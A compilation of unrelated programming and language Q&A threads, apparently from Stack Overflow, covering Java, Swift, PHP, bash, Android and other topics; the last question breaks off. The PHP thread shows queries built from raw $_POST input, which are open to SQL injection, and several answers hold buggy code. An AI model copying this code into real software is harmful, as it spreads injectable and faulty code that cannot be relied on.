    self.phoneNumber = self.phoneNumber.replacingOccurrences(of: " ", with: "")
    self.phoneNumber = self.phoneNumber.replacingOccurrences(of: "-", with: "")
    self.phoneNumber = self.phoneNumber.replacingOccurrences(of: "(", with: "")
    self.phoneNumber = self.phoneNumber.replacingOccurrences(of: ")", with: "")
    }

    checkCount(phoneNumber: self.phoneNumber)
}

func checkCount(phoneNumber : String) {
        if phoneNumber.count == 11 {
            self.phoneNumber = "+" + phoneNumber
        }
        else if phoneNumber.count == 10 {
            self.phoneNumber = "+1" + phoneNumber
        }
}
}

A: Best way to filter the phone numbers from the string using CharacterSet instead of replacingOccurrences.
You can try using following code
let components =
    phoneNumber.components(separatedBy: CharacterSet.decimalDigits.inverted)
let phone = components.joined()
print(phone)


text:
Q: Rock Paper Scissors in Java I am writing a rock paper scissors game in java but there are some things I can't figure out. First of all, I want to make it so that the user can type "Rock" or "paper" instead of 1, 2, and 3 but I can't figure that out. Secondly, I'm supposed to be using nested if else statements but I don't know how to do that either with what I've been doing. My code is below
import java.util.Scanner;
public class RockGame {
  private final static int ROCK=1;
  private final static int PAPER =2;
  private final static int SCISSOR =3;

  private static Scanner key;

public static void main(String args[]){
         int playerOneScore = 0;
         int computerScore = 0;

         int userPlay, computerPlay;

        String val = key.nextLine().toLowerCase();

         key = new Scanner(System.in);
         while(playerOneScore <2 && computerScore <2){

                 System.out.println("Choose 1 for rock, 2 for paper, and 3 for sciscors!");
                 userPlay = key.nextInt();
                 computerPlay = (int)(Math.random()*3) +1;
                 if(val.equals("rock"))
                       userPlay = ROCK;

                 else if (val.equals("paper"))
                         userPlay =PAPER;

                 else if (val.equals("scissors"))
                         userPlay=SCISSOR;

                 if (val.equals("rock"))
                         computerPlay = ROCK;
                 else if (val.equals("paper"))
                         computerPlay =PAPER;
                 else if (val.equals("scissors"))
                         computerPlay=SCISSOR;

                 if (computerPlay ==ROCK && userPlay==SCISSOR ){
                         System.out.println("The computer chose rock, you chose scissors.\n You lose!");
                         computerScore++;
                 }
                 if (computerPlay ==ROCK && userPlay==PAPER ){
                         System.out.println("You computer chose rock, you chose paper.\n You win!");
                         playerOneScore++;
                 }
                 if (computerPlay ==PAPER && userPlay==SCISSOR ){
                        System.out.println("The computer chose scissors, you chose paper.\n You win!");
                         playerOneScore++;
                 }
                 if (computerPlay ==PAPER && userPlay==ROCK ){
                         System.out.println("The computer chose paper and you chose rock. \n You lose!");
                         computerScore++;
                 }
                 if (computerPlay ==SCISSOR && userPlay==ROCK ){
                         System.out.println("The computer chose scissors and you chose rock. \n You win!");
                         playerOneScore++;
                 }
                 if (computerPlay ==SCISSOR && userPlay==PAPER ){
                         System.out.println("The computer chose scissors and you chose paper. \n You lose!");
                         computerScore++;
                 }
                 if (computerPlay == userPlay ){
                         System.out.println("The computer chose the same thing you did! \n Tie!");

                 }

         }
         if(computerScore > playerOneScore)
                 System.out.println("Computer win score is: - "+ computerScore + " -" + playerOneScore  );
         else
                 System.out.println("Your score is: " + playerOneScore + "-" + computerScore );

  }

}

A:
I want to make it so that the user can type "Rock" or "paper" instead of 1, 2, and 3

Use key.nextLine().toLower(), then test whether this value equals "rock", etc.

I'm supposed to be using nested if else statements

Notice in your code:
if (computerPlay ==SCISSOR && userPlay==ROCK ){
    // etc.
}
if (computerPlay ==SCISSOR && userPlay==PAPER ){
    // etc.
}

You check whether computerPlay == SCISSOR twice. Whereas with a nested statement you can do something more like:
if (computerPlay == SCISSOR) {
    if (userPlay == ROCK) {
        // etc.
    else if (userPlay == PAPER) {
        // etc.
    }
}

A: Use:
string val = sc.nextLine().toLower();

And then:
if(val.equals("rock") {
   userPlay = ROCK;
}
else if(...) {
   //..
}

You can use nested if-loops like:
if(userPlay == ROCK) {
  if(computerPlay == ROCK) {
    System.out.println("The computer chose the same thing you did! \n Tie!");
  }
  else if(computerPlay == PAPER) {
    System.out.println("The computer chose paper and you chose rock. \n You lose!");
    computerScore++;
  }
  else {
    System.out.println("The computer chose scissors and you chose rock. \n You win!");
    playerOneScore++;
  }
}
else if(userPlay == PAPER) {
  if(computerPlay == ROCK) {
    System.out.println("You computer chose rock, you chose paper.\n You win!");
    playerOneScore++;
  }
  else if(computerPlay == PAPER) {
    System.out.println("The computer chose the same thing you did! \n Tie!");
  }
  else {
    System.out.println("The computer chose scissors and you chose paper. \n You lose!");
    computerScore++;
  }
}
//I think you get the idea...

A: Try this
        // paper == 0
        // rock == 1
        // scissors == 2
        System.out.println("Select 0 for Paper \nSelect 1 for Rock \nSelect 2 for Scissors");
        Scanner scan = new Scanner(System.in);
        int player = scan.nextInt();
        Random comp = new Random();
        int com = comp.nextInt(2);
        System.out.println(com);
        if (player == com){
            System.out.println("Match is Tie");
        }else{
            switch (com){
                case 0:
                    if(player == 2){
                        System.out.println("Player Wins the Match");
                    }else{
                        System.out.println("Comp wins the Match");
                    }
                    break;
                case 1:
                    if(player == 0){
                        System.out.println("Player Wins the Match");
                    }else{
                        System.out.println("Comp wins the Match");
                    }
                    break;
                case 2:
                    if(player == 1){
                        System.out.println("Player Wins the Match");
                    }else{
                        System.out.println("Comp wins the Match");
                    }
                    break;
            }
        }

A: First, you'll want to create an enum, and then parse the user's input into that enum:
Lookup enum by string value
As for nested if-else statements, technically
if(something){
    // do something
}else if(somethingElse){
    // do something else
}else{
    // do another things
}

is a nested if-else statement.  At least that's how it looks to the compiler.
I suspect your teacher wants to see a structure like:
if(computerPlay == ROCK){
    if(userPlay == PAPER){
    }
    else if(userPlay == ROCK){
    }
    else if(userPlay == SCISSOR){
    }
}
else if(computerPlay == PAPER){
    // same as above
}
else if(computerPlay == SCISSOR){
    // same as above
}

A: First, you don't need these lines:
if (computerPlay==1)
    computerPlay = ROCK;
if (computerPlay==2)
    computerPlay =PAPER;
if (computerPlay==3)
    computerPlay=SCISSOR;

Second, you say you are supposed to use nested if/else statements - perhaps this is what your teacher is after:
if (computerPlay == ROCK)
{
    if (userPlay==ROCK)
    {
        ...
    }
    else if (userPlay == PAPER)
    {
        ...
    }
    else if (userPlay == SCISSORS)
    {
        ...
    }
    else
    {
        // Cheating!
    }
}
else if (computerPlay == PAPER)
{
    if (userPlay==ROCK)
    {
        ...
    }
    // And so on...

That's a very long-winded way of doing things (I'd personally do a two-dimensional array look-up) and your original code looks acceptable, but it's a learning exercise, I guess, to get you used to nested if/elses.

A: You could use .equalsIgnoreCase(); to check for "Rock","Paper","etc" or it will even match if the user inputs "rock", "PaPER",etc. Also adding in nested if statements will make your function much more efficient. To make a nested if statement, all that you need to do is place one if statement within another like shown below.
    if(userPlay.equalsIgnoreCase("Rock")) {

         if (computerPlay.equalsIgnoreCase("Scissors"){
                System.out.println("The computer chose scissors, you chose rock.\n You win!");
                             playerOneScore++;
         }
         else if (computerPlay.equalsIgnoreCase("Paper")){
                System.out.println("You computer chose paper, you chose rock.\n You lose!");
                             computerScore--;
         }
     }

With these nested if statements you will only need to check the users choice once per option instead of multiple times like in your example code.
You will also need to change from key.nextInt() to key.next() so that you are taking strings as inputs and storing them in userPlay instead of integers
userPlay = key.next();
Hope that is of some use to you!

A: After some thought this is what you could do,
Create an enum with elements
enum Elements{ROCK ,PAPER ,SCISSORS};

Create a second enum for the various combinations of the Elements, and also implementing an interface,
enum ElementCombinations implements RockPaperScissorssLogic
{
    ROCK_PAPER
    {
        int decideWinner()
        {
            //For second player
            return 2;
        }
    },
    PAPER_SCISSORS
    {
        int decideWinner()
        {
            //For second player
            return 2;
        }
    },
    ..... ;

    // For obtaining decide the type of combination object to be used.
    public static ElementCombinations getCombination(Element player1, Element player2)
    {
        // Some logic...
    }
};

Finally in your code you coud simply call the decide winner method of the ElementCombinations object to get the winning player.

A: In my personal option, all given answers over-complicates things.
Here is a very simple example by storing a simple 2-d array.
public class Main{

   public final static int SCISSORS = 0;
   public final static int PAPER = 1;
   public final static int STONE = 2;

   public static void rockPaperScissors(int player1, int player2){
        if(player1 == player2){ System.out.println("Tie"); return;}

        boolean key[][] = {
             {false, true, false},
             {false, false, true},
             {true, false, false}
        };

        boolean player1Wins = key[player1][player2];

        if(player1Wins){ System.out.println("Player one wins"); }
        else{ System.out.println("Player two wins"); }

   }

  public static void main(String[] arrgs){

       rockPaperScissors(SCISSORS, STONE);
 }

}

The array stores all possible results.

A: import java.util.Scanner;

public class RockPaperScissors {
public static void main(String[] args) {
Scanner console = new Scanner(System.in);
System.out.println("Hey let's play Rock, Paper, Scissors!");
System.out.println("You must choose 1 for Rock, 2 for Paper and 3 for Scissors");
System.out.print("Rock, Paper or Scissors? ");
int play = console.nextInt();
String user = intToName(play,console);
int person = play;
int computer = generateRandomNumber(1,3);

}
    public static String intToName(int play,Scanner console){
    String choose = "";
     if (play == -1){
         System.out.print("Game Over!");
     }
    while (play != -1){
    if (play == 1){
        System.out.println("Your play is: Rock");
         if (generateRandomNumber(1,3) == 1){
                System.out.println("Computer player is: Rock");
                System.out.println("It's a tie!");
              }
         else if (generateRandomNumber(1,3) == 2){
                    System.out.println("Computer player is: Paper");
                    System.out.println("Paper eats Rock. You lose!");
              }
           else if (generateRandomNumber(1,3) == 3){
                    System.out.println("Computer player is: Scissors");
                    System.out.println("Rock eats Scissors. You win!");
              }
    }
    else if (play == 2){
        System.out.println("Your play is: Paper");
         if (generateRandomNumber(1,3) == 1){
                System.out.println("Computer player is: Rock");
                System.out.println("Paper eats Rock. You win!");
              }
         else if (generateRandomNumber(1,3) == 2){
                    System.out.println("Computer player is: Paper");
                    System.out.println("It's a tie!");
              }
         else  if (generateRandomNumber(1,3) == 3){
                    System.out.println("Computer player is: Scissors");
                    System.out.println("Scissors eats Paper. You lose!");
              }
    }
    else if (play == 3){
     System.out.println("Your play is: Scissors");
     if (generateRandomNumber(1,3) == 1){
            System.out.println("Computer player is: Rock");
            System.out.println("Rock eats Scissors. You lose!");
          }
     else if (generateRandomNumber(1,3) == 2){
                System.out.println("Computer player is: Paper");
                System.out.println("Scissors eats Paper. You win!");
          }
     else if (generateRandomNumber(1,3) == 3){
                System.out.println("Computer player is: Scissors");
                System.out.println("It's a tie!");
          }
    }
    System.out.println();
    System.out.print("Rock, Paper or Scissors? ");
   play = console.nextInt();
  }
    return choose;
    }
    public static int generateRandomNumber(int a, int b){
        return a+(int)(Math.random()*b-a+1);
    }
    public static int winner(int person, int computer){
        int win =0;
        int lose =0;
        int tie=0;
        if (person == 1 && computer == 1){
            tie++;
        }
        if (person == 2 && computer == 2){
            tie++;
        }
        if (person == 3 && computer == 3){
            tie++;
        }
        if (person == 1 && computer == 2){
             lose++;
        }
        if (person == 1 && computer == 3){
            win++;
        }
        if (person == 2 && computer == 1){
            win++;
        }
            if (person == 2 && computer == 3){
                lose++;
    }
            if (person == 3 && computer == 1){
                lose++;
            }
            if (person == 3 && computer == 2){
                win++;
            }
            return win;
    }
}

A: public class RPS {
//userPlayer value must be:
//ROCK = 1
//PAPER = 2
//SCISSORS = 3
private int userPlayer;

int computerPlayer(){
    Random rand = new Random();
    return rand.nextInt(3) + 1;

}

String result(){

    int calculate=userPlayer-computerPlayer();
        if(calculate==0)
            return "tie";
        else if((calculate==1 ||calculate==-2))
            return "win";
        else
            return "loose";
}

void setUserPlayer(int value){
    userPlayer=value;
}

}


text:
Q: Problem in Dropdown size in jquery Im using jquery to set a dropdown based on selected value from another dropdown.
Fot that Im using following jquery
$("#whse").html('<option selected value="">'+value+'</option>'+'\n');

The problem is dropdown 2 size decreasing every time when i select the value of dropdown 1

A: The size of the second dropdown is not decreasing i think, it's reduced just to a single option because with:
$("#whse").html('<option selected value="">'+value+'</option>'+'\n');

you are setting the html of the select to that single option. you should use:
$("#whse").append('<option selected value="">'+value+'</option>');

if you want to add that option
or
 $("#whse").val(value)

if you want to select the option with that value


text:
Q: How does C++ OOP works? So I was playing with C++ features and I found that there is a big difference between C-style function pointers and C++ methods. Here is what do I mean:
typedef struct _myStruct {
    void (*myFunctionOne)();
    void(*myFunctionTwo)();
    void(*myFunctionThree)();
} myStruct;

Size is 3 * 4 = 12 bytes.
typedef struct _emptyStruct {
} emptyStruct;

Size is 1 byte.
class myClass {
     void myMethodOne();
     void myMethodTwo();
     void myMethodThree();
};

Size is 1 byte, like this is an empty struct.
Why is it empty? If C++ methods are not function pointers, how do they are implemented? How does class "know" about it's methods, if it doesn't have any pointers? This question doesn't actually distrubs me a lot, but it arouses my curiosity.

A: In the structure with pointers to functions, each pointer is a member variable. The C++ class doesn't have any member variables, it is, as you say, empty.
Member function are not the same as member variables.

A: Member functions are functions. They are implemented as functions. They are not data and are not stored inside the structure. They are just declared there.
If you have
class myClass {
     void myMethodOne();
     void myMethodTwo();
     void myMethodThree();
};

and then another class
class myOtherClass {
     void myMethodOne();
     void myMethodFortyTwo();
};

then myMethodOne from myClass and myOtherClass don't conflict, because they actually have different names: myClass::myMethodOne and myOtherClass::myMethodOne.
myClass myVar;
myVar.myMethodOne();

This knows to call myClass::myMethodOne and not myOtherClass::myMethodOne because of the type of myVar. It is myClass, so the method of myClass is called.
Virtual functions work differently: they are stored in each object, though usually indirectly (often as a pointer to an entire bunch of functions pointers), This way the size of each object doesn't grow as we add more virtual functions.


text:
Q: Como eliminar labels e eixo x em um gráfico de barras invertidas? Gostaria de saber como apagar os labels e a linha do eixo X, do seguinte gráfico de barras invertido. .
É que acho que tem informação redundante.
dados
Oi Lucas, obrigado pela resposta. Segue os dados,
L   log se  padj    sig sigpositiv  signegativ
PZC75086    0.934   0.237   0.00    0
XP_021188570    0.336   0.155   0.22    0
XP_021191392    0.709   0.226   0.03    0
XP_021194193    0.739   0.000   0.01    0
XP_021194353    -0.367  0.166   0.20    0
XP_021195235    0.689   0.178   0.00    0
XP_021197617    1.303   0.794   0.45    0
XP_021200097    0.847   0.237   0.01    0
XP_021201453    0.678   0.243   0.06    0
XP_021201454    0.787   0.248   0.02    0
XP_021201455    0.540   0.248   0.21    0
XP_021201456    0.814   0.305   0.08    0
XP_021201457    2.026   0.948   0.23    0
XP_021201458    1.190   0.427   0.06    0
XP_021201459    1.957   0.999   0.30    0
XP_021201460    2.408   1.276   0.34    0
XP_021201465    1.570   1.680   0.77    0
XP_021201466    -0.382  0.309   0.64    0
XP_021201493    0.397   0.195   0.27    0
XP_021201494    0.667   0.236   0.06    0
XP_021201495    0.869   0.286   0.03    0
XP_021201514    0.713   0.319   0.19    0
XP_021201515    -0.005  0.173   1.00    0
XP_021201516    0.443   0.167   0.08    0
XP_021201518    0.277   0.327   0.81    0
XP_021201552    1.414   0.789   0.38    0
XP_021191406    1.665   0.344   6.64E-05    1   *
XP_021191399    2.322   0.724   0.020938003 1   *
XP_021190221    0.869   0.308   0.057657776 0
XP_021189544    -0.537  0.164   0.017594595 0
,
Eu tenho o seguinte código
ggplot(dt, aes(L, log, label = L, hjust = hjust)) +
  geom_text(aes(y = 0),size=3, colour=colour1) +
  geom_text(aes(label = sigpositiv, y = log+se+0.5), size = 3.0,
            position = position_dodge(width = 0.2))+
  geom_text(aes(label = signegativ, y = log-se-0.5), size = 3.0,
            position = position_dodge(width = 0.2))+
  labs(x="", y="")+
  geom_col(aes(fill = colour1),  position = "dodge")+
  geom_errorbar(aes(ymin=log-se, ymax=log+se), width=.2)+
  scale_fill_manual(labels= c("ns", "*Significat level \n Fold-Change> 1 or < -1"),
                    values= c("black", "blue"))+
  coord_flip() +
  labs(x = "", y = "Log2 Fold-Change",
       fill=  expression(paste(italic("p<"),"0.05")),
       position = position_dodge(width = 0.2))+
  theme_classic()

[![inserir a descrição da imagem aqui][2]][2]

A: Gente, consegui, é só adicionar no meio e mudar de theme:
scale_x_discrete(breaks = NULL) +
theme(element_line(color = "white"),
panel.background = element_rect(fill = "white"))
´´´
ggplot(dt, aes(L, log, label = L, hjust = hjust)) +
geom_text(aes(y = 0),size=3, colour=colour1) +
geom_text(aes(label = sigpositiv, y = log+se+0.5), size = 3.0,
position = position_dodge(width = 0.2))+
geom_text(aes(label = signegativ, y = log-se-0.5), size = 3.0,
position = position_dodge(width = 0.2))+
labs(x="", y="")+
scale_x_discrete(breaks = NULL) +
geom_col(aes(fill = colour1),  position = "dodge")+
geom_errorbar(aes(ymin=log-se, ymax=log+se), width=.2)+
scale_fill_manual(labels= c("ns", "*Significat level \n Fold-Change> 1 or < -1"),
values= c("black", "blue"))+
coord_flip() +
labs(x = "", y = "Log2 Fold-Change",
fill=  expression(paste(italic("p<"),"0.05")),
position = position_dodge(width = 0.2))+
theme(element_line(color = "white"),
panel.background = element_rect(fill = "white"))
´´´


text:
Q: Can "to escape" also mean "to go on holiday"? The Macmillan Dictionary s.v. "escape (verb)" says that "to escape" can also mean

to go away on holiday

in informal contexts, e.g. "We're hoping to escape to the Algarve in May". I can't find this meaning in any other dictionary at my disposal. Is it actually used in this sense?

A: Yes, it is. It usually implies "escaping from city life/worries/routines/reality".

A: Absolutely.  Check out http://www.airnewzealand.co.nz/4-day-queenstown-nature-and-luxury-escape

A: Yes, escape is often used (with to) in the context of a holiday trip. You can find many examples here. Also, the sense you found in Macmillan can also be found in WordNet:

(v) escape, get away (remove oneself from a familiar environment, usually for pleasure or diversion) "We escaped to our summer house for a few days"; "The president of the company never manages to get away during the summer"

A: I couldn't find it defined as such in any other dictionary, but I do recall seeing it being used as a noun with that meaning at least thrice.
According to the Wiktionary (and most other dictionaries), its general meaning would also conform with that, as in escaping your normal life.

A: An expression that comes to mind is escaping the rat race.

A: Another example ... 21 hottest Carribean escapes ... they are not talking about jailbreaks, they are talking about going to Antigua for a week to get away from everyday concerns...
This usage of "escape" is common in the US.  Are those who "couldn't find it" from the UK?


text:
Q: How can i define pattern under servlet filter mapping tag I want to define page url ended with /login under  in  tag....I have written it like,
<servlet-filter-mapping>
        <servlet-filter-name>Ip-Filter</servlet-filter-name>
        <url-pattern>web/guest/login</url-pattern>
        <url-pattern>c/portal/login</url-pattern>
        <url-pattern>/login</url-pattern>
        <dispatcher>REQUEST</dispatcher>
        <dispatcher>FORWARD</dispatcher>
</servlet-filter-mapping>

Can i write it with some pattern like */login or something ??

A: Just
<servlet-filter-mapping>
        <servlet-filter-name>Ip-Filter</servlet-filter-name>
        <url-pattern>/login</url-pattern>
        <dispatcher>REQUEST</dispatcher>
        <dispatcher>FORWARD</dispatcher>
</servlet-filter-mapping>

will match anything ending with login, and

 <url-pattern>/login/*</url-pattern>

will match urls such as http://server/context/login/index.html and http://server/context/login as well.
some explanations here

A: <url-pattern>/login</url-pattern> will work for all the page url ended with /login...


text:
Q: Disabling sound in a video Hi I'm new to android development and working on a game. I currently have an opening cutsceen which is a videoview, but I want to mute the the sound, if the user selects mute music from the preference menu. The problem is I don't know how to mute the music in a videoview without actually turning off the video entirely!

A: The AudioManager is not a good option always, because you mute all the system...
if you want to get access to the MediaPlayer of a VideoView you have to call MediaPlayer.OnPreparedListener and MediaPlayer.OnCompletionListener, then you can call setVolume(0f, 0f); function to set the volume to 0.
Do this:
@Override

public void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_video);

  VideoView videoView = (VideoView)this.findViewById(R.id.VVSimpleVideo);
  MediaController mc = new MediaController(this);
  mc.setAnchorView(videoView);
  mc.setMediaPlayer(videoView);
  videoView.setMediaController(mc);
  String _path = "/mnt/sdcard/Movies/video5.mp4";

  videoView.setVideoPath(_path);
  videoView.setOnPreparedListener(PreparedListener);

  videoView.requestFocus();

  //Dont start your video here
  //videoView.start();

}

MediaPlayer.OnPreparedListener PreparedListener = new MediaPlayer.OnPreparedListener(){

     @Override
     public void onPrepared(MediaPlayer m) {
         try {
                if (m.isPlaying()) {
                    m.stop();
                    m.release();
                    m = new MediaPlayer();
                }
                m.setVolume(0f, 0f);
                m.setLooping(false);
                m.start();
            } catch (Exception e) {
                e.printStackTrace();
            }
     }
 };

A: The best you can do is use AudioManager to mute the music stream at the beginning of the cut scene and unmute it once it is done: VideoView does not provide independent mute controls.


text:
Q: How can I add strings to an array in a JSON using node.js? I have a discord bot and I want to have an array that has the user ids of people who abuse the volume and music commands so that I can take away their abilities and give them back using commands like !nomusic and !musicback, but I have no idea how I would make it add or remove their ids from an array in the config file. My best guess is to use fs and have it push the member's id into the array, but I have no idea how I would go about doing this (I'm very new to node.js and especially fs, so sorry if this is a really easy thing to do and is really dumb to ask)
So far this is how far I've gotten(lots of the program not included so it's easier to read)
function readNoMusicJSON() {
    return JSON.parse(fs.readFileSync("./nomusic.json"));
}

var badmusicusers = readNoMusicJSON();

function nomusicsfoyou(badmusicusers, userId) {
    return nomusic.concat([userId]);
}

function saveNoMusicFile(badmusicusers) {
    fs.writeFileSync("./nomusic.json");
}
bot.on('message', async message => {
//some code ommited due to lack of importance
var args = message.content.slice(config.prefix.length).trim().split(/ +/g);
var command = args.shift().toLowerCase();
switch(command){
    case"music":
        if(badmusicusers.find(id=>id == message.author.id)) return;
        // more ommitted code that don't matter
        break;
    case "nomusic":
        let sadmusicboi = message.mentions.members.first();
        badmusicusers = nomusicsfoyou((badmusicusers, sadmusicboi.id));
        saveNoMusicFile(badmusicusers);
        break;
    }
})

A: Suppose you have a list of bannedUsers in your config bannedUsers.json file.
["user-id-1", "user-id-2"]

On Startup of the program, you read the file into a variable:
function readBannedUsers() {
    return JSON.parse(fs.readFileSync("./bannedUsers.json"));
}

var bannedUsers = readBannedUser();

Whenever you want to ban a user:
function banUser(bannedUsers, userId) {
     return bannedUsers.concat([userId]);
}

function saveBannedUsers(bannedUsers) {
     fs.writeFileSync("./bannedUsers.json");
}

bannedUsers = banUser(bannedUsers, "user-3");
saveBannedUsers(bannedUsers);

That's all.


text:
Q: get the IP address of a container using a shell script in ~/.bashrc I want to get the IP address of a container, I've looked around and chose to add this shell script in my ~/.bashrc:
docker_ip() {
  docker inspect --format '{{ .NetworkSettings.IPAddress }}' "$@"
}

But cuz the containers were connected by custom network, so as below:
"NetworkSettings": {
        "Bridge": "",
        "SandboxID": "e5b42ebd28c5e00e72ab1b7036bf4b1def4036f75ef66994d14a895fd82929bf",
        "HairpinMode": false,
        "LinkLocalIPv6Address": "",
        "LinkLocalIPv6PrefixLen": 0,
        "Ports": {},
        "SandboxKey": "/var/run/docker/netns/e5b42ebd28c5",
        "SecondaryIPAddresses": null,
        "SecondaryIPv6Addresses": null,
        "EndpointID": "",
        "Gateway": "",
        "GlobalIPv6Address": "",
        "GlobalIPv6PrefixLen": 0,
        "IPAddress": "",
        "IPPrefixLen": 0,
        "IPv6Gateway": "",
        "MacAddress": "",
        "Networks": {
            "mynet": {
                "IPAMConfig": null,
                "Links": null,
                "Aliases": [
                    "0819292faeb4"
                ],
                "NetworkID": "4d63adc0879a36550310b50d284718772fe81d01d4ec19a6dc919ad7817c1a3d",
                "EndpointID": "5bfa1bbaa2c446bc5e93d4f14628b8b9e482dd876ae9b89d558fdcc7cf7d0da1",
                "Gateway": "172.18.0.1",
                "IPAddress": "172.18.0.5",
                "IPPrefixLen": 16,
                "IPv6Gateway": "",
                "GlobalIPv6Address": "",
                "GlobalIPv6PrefixLen": 0,
                "MacAddress": "02:42:ac:12:00:05",
                "DriverOpts": null
            }
        }
    }

the IP is not in
.NetworkSettings.IPAddress

but in :
.NetworkSettings.Networks.${network_name}.IPAddress

as the ${network_name} is not fixed, I have to modify the shell script in ~/.bashrc to parse the network name, the code in ~/.bashrc is as follow:
function docker_ip(){
    IP=".NetworkSettings.IPAddress" #initialize IP by the default path
    while getopts "n:c:" OPT # n represents custom network name and c represents container ID
    do
         case "$OPT" in
              "n") IP=".NetworkSettings.Networks.${OPTARG}.IPAddress" ;;
              #if n is followed by an argument, it indicates that the network is customized, and thus the default path is replaced.
              "c") containerID=${OPTARG};;
              "?") echo "unrecognized option";;
         esac
    done
    echo"${IP}"
    echo"${containerID}"
    sudo docker inspect --format "{{${IP}}}" ${containerID} #to get the container's IP
}

The main idea of this script is that if the function is called with arguments such as :
$docker_ip -n ${network name} -c containerID

then the script will use .NetworkSettings.Networks.${network_name}.IPAddress to get the IP address. If without argument, such as :
docker_ip -p containerID

which represents that the container is connected by default network, then the script will use .NetworkSettings.IPAddress to get the IP address.
While this does not work properly. When I type $docker_ip -n mynet -c 0819 in the shell prompt the output is supposed to be :
$docker_ip -n mynet -c 0819
.NetworkSettings.Networks.mynet.IPAddress
0819
172.18.0.5

while in fact the output is as follow:
$docker_ip -n mynet -c 0819
.NetworkSettings.IPAddress
0819

As you can see, since the path should be .NetworkSettings.Networks.mynet.IPAddress rather than .NetworkSettings.IPAddress so the IP address of container 0819 cannot be found.
Why this variable cannot change? I am a novice to shell script so I wanted to know if it's right to do so and what would be the best way to do that? Additionally, is there simpler way to get the IP address?
Thanks in advance :)


text:
Q: Issue in connecting AzureDevOps Git repo using Visual Studio Code I have a Git repo in AzureDevOPS and I am using Visual Studio code to work on angularjs based application. The repo is already setup in VSTS. I was able to connect to the repo without any issues but suddenly today while reconnecting to it I saw the below error at the right hand bottom bar of Visual Studio Code

Here goes my git version available in my system:
git version 2.9.2.windows.1
VSCode Version Details:
Version: 1.47.2 (user setup)
Commit: 17299e413d5590b14ab0340ea477cdd86ff13daf
Date: 2020-07-15T18:22:06.216Z
Electron: 7.3.2
Chrome: 78.0.3904.130
Node.js: 12.8.1
V8: 7.8.279.23-electron.0
OS: Windows_NT x64 10.0.17763

Can anyone help me to fix this issue

A: Try the following items:

*

*Check logs in %AppData%\Code\logs and Ctrl-shift-p => Show Logs => Extension Host to see if there is useful information.

*Disable the Azure Repos extension, close VSCode.

*Clean caches in %AppData%\Code\Cache and %AppData%\Code\CachedData, open VSCode and enable the extension.

*If the issue persists, try to uninstall the extension and re-install it.

*Instead of using https://xxx.visualstudio.com, try
using the new URL: https://dev.azure.com/xxx.


text:
Q: Error en al insertar por comboBox anidados Realizo un formulario de mantenimientos de equipos de computo, pero tengo un problema al insertar ya que mis campos final_id y nombre_id quiero dejarlos NULL (de la misma forma son NULL en mi BD) pero como los tengo en combobox anidados no me lo permite me marca error.
Notice: Undefined index: combo4 in C:\xampp\htdocs\reportes\action\addmantenimiento.php on line 21
Imprimo mi sentencia sql y me sale esto
insert into mtto_equipos (tipo_id,modelo_id,mantenimiento_id, descripcion,final_id,nombre_id,created_at) value ("1","9","1","ddddddddd","0","", NOW())
Estructura BD Mantenimiento.
 id                Primaria int(11)
 tipo_id           Índice   int(11)
 modelo_id         Índice   int(11)
 mantenimiento_id  Índice   int(11)
 descripcion       varchar(250)
 final_id          Índice   int(11)
 nombre_id         Índice   int(11)
 created_at

<?php
 session_start();
 /*Inicia validacion del lado del servidor*/
 if (empty($_POST['tipo_id'])) {
           $errors[] = "Tipo de Mantenimiento vacío";
        }

   else if (
   !empty($_POST['tipo_id'])

  ){

  include "../config/config.php";//Contiene funcion que conecta a la base de datos

  $tipo_id = $_POST["tipo_id"];
  $modelo_id = $_POST["modelo_id"];
  $mantenimiento_id = $_POST["mantenimiento_id"];
  $descripcion = $_POST["descripcion"];
  $final_id = $_POST["combo3"];
  $nombre_id = $_POST["combo4"];
  $created_at="NOW()";

  // $user_id=$_SESSION['user_id'];

  $sql="insert into mtto_equipos (tipo_id,modelo_id,mantenimiento_id, descripcion,final_id,nombre_id,created_at) value (\"$tipo_id\",\"$modelo_id\",\"$mantenimiento_id\",\"$descripcion\",\"$final_id\",\"$nombre_id\", $created_at)";
         print_r($sql);
  $query_new_insert = mysqli_query($con,$sql);
   if ($query_new_insert){
    $messages[] = "El registro ha sido ingresado satisfactoriamente.";
    echo'';

   } else{
    $errors []= "Lo siento algo ha salido mal intenta nuevamente.".mysqli_error($con);
   }
  } else {
   $errors []= "Error desconocido.";
  }

  if (isset($errors)){

   ?>

    <button type="button" class="close"  data-dismiss="alert">× </button>
     Error!
     <?php
      foreach ($errors as $error) {
        echo $error;
       }
      ?>

   <?php
   }
   if (isset($messages))
   {

    ?>

      <button type="button" class="close"  data-dismiss="alert">×</button>
      ¡Bien hecho!

      <?php
       foreach ($messages as $message)
       {
         echo $message;

       }

       ?>

    <?php
   }

?>

datetime
ComboBox

<?php
include("includes/config.inc.php");
include("includes/mysql.class.php");
$db = new MySQL();
$db->open();
//$consulta = $db->consulta("SELECT * FROM priority WHERE id LIKE '$_POST[elegido]'");
$consulta = $db->consulta("select p.id, p.name  from nombre_maquina p, final c WHERE p.id = c.nombre_id
and c.id LIKE '$_POST[elegido]'");
if ($row = $db->fetch_array($consulta)) {
 do {
  echo
  '<option value="'.$row['id'].'">'.$row['name'].'</option>';
 }while($row = $db->fetch_array($consulta));
}
?>

A: Ese no es un error es un Notice, solo te está avisando que la variable $_POST["combo4"] está indefinida.
Para el efecto que deseas puedes probar lo siguiente:
Cambiar:
$nombre_id = $_POST["combo4"];

por
$nombre_id = !empty($_POST["combo4"]) ? "'".$_POST["combo4"]."'" : "NULL";

y luego cambiar
insert into mtto_equipos (tipo_id,modelo_id,mantenimiento_id,
descripcion,final_id,nombre_id,created_at) value (\"$tipo_id\",\"$modelo_id\",\"$mantenimiento_id\",\"$descripcion\",\"$final_id\",\"$nombre_id\",
> $created_at)

por
insert into mtto_equipos (tipo_id,modelo_id,mantenimiento_id,
descripcion,final_id,nombre_id,created_at) value (\"$tipo_id\",\"$modelo_id\",\"$mantenimiento_id\",\"$descripcion\",\"$final_id\",$nombre_id, > $created_at)

Esto hará que la Query llegue con comillas a MySQL solo si existe un valor para nombre_id, mientras que llegará como NULL sin comillas si no existe dicho valor.

Importante: Trata de usar la librería PDO para las consultas MySQL con PHP, tu código es muy susceptible a ataques informáticos, como por ejemplo SQL Injection.


text:
Q: document.querySelectorAll("body") returning undefined I am using the following codes in the console of the firefox DevTools to extract book names from https://bookauthority.org/books/best-problem-solving-books
Code 1
var selects=document.querySelectorAll("div.book-header-title a.book-title h2.main");

for (i = 0; i < selects.length; ++i) {
